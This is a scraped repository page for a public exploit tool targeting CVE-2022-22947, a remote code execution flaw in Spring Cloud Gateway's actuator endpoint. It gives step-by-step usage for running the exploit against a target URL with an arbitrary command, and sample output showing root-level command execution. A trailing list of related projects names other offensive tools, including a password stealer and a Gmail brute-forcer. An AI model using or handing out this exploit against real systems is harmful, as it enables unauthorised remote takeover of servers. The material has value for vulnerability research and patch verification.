Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'

[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Related tags

Overview

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

References

Owner

Carlos Vieira

A toolkit for web reconnaissance, it's fast and easy to use.

Valeria stealer- - (4Feb 2022) program detects wifi saved passwords in your ROM

OSINT Cybersecurity Tools

Scout Suite - an open source multi-cloud security-auditing tool,

Ingest GreyNoise.io malicious feed for CVE-2021-44228 and apply null routes

Local server for IDA Lumina feature

CodeTest信息收集和漏洞利用工具

Just another script for automatize boolean-based blind SQL injections.

An automated, reliable scanner for the Log4Shell (CVE-2021-44228) vulnerability.

Tool for finding PHP source code vulnerabilities.

OpenTOTP is yet another time-based, one-time passwords (OTPs) generator/verifier inspired by RFC 6238.

IDA plugin for quickly copying disassembly as encoded hex bytes

CVE-2021-26855 SSRF Exchange Server

Course: Information Security with Python

Monty Hall Problem simulation written in Python.

A Burp Suite extension made to automate the process of finding reverse proxy path based SSRF.

一款辅助探测Orderby注入漏洞的BurpSuite插件，Python3编写，适用于上xray等扫描器被ban的场景

MD5-CRACKER - A gmail brute force app created with python3

script that pulls cve collections from NVD.NIST.GOV.

Strapi Framework Vulnerable to Remote Code Execution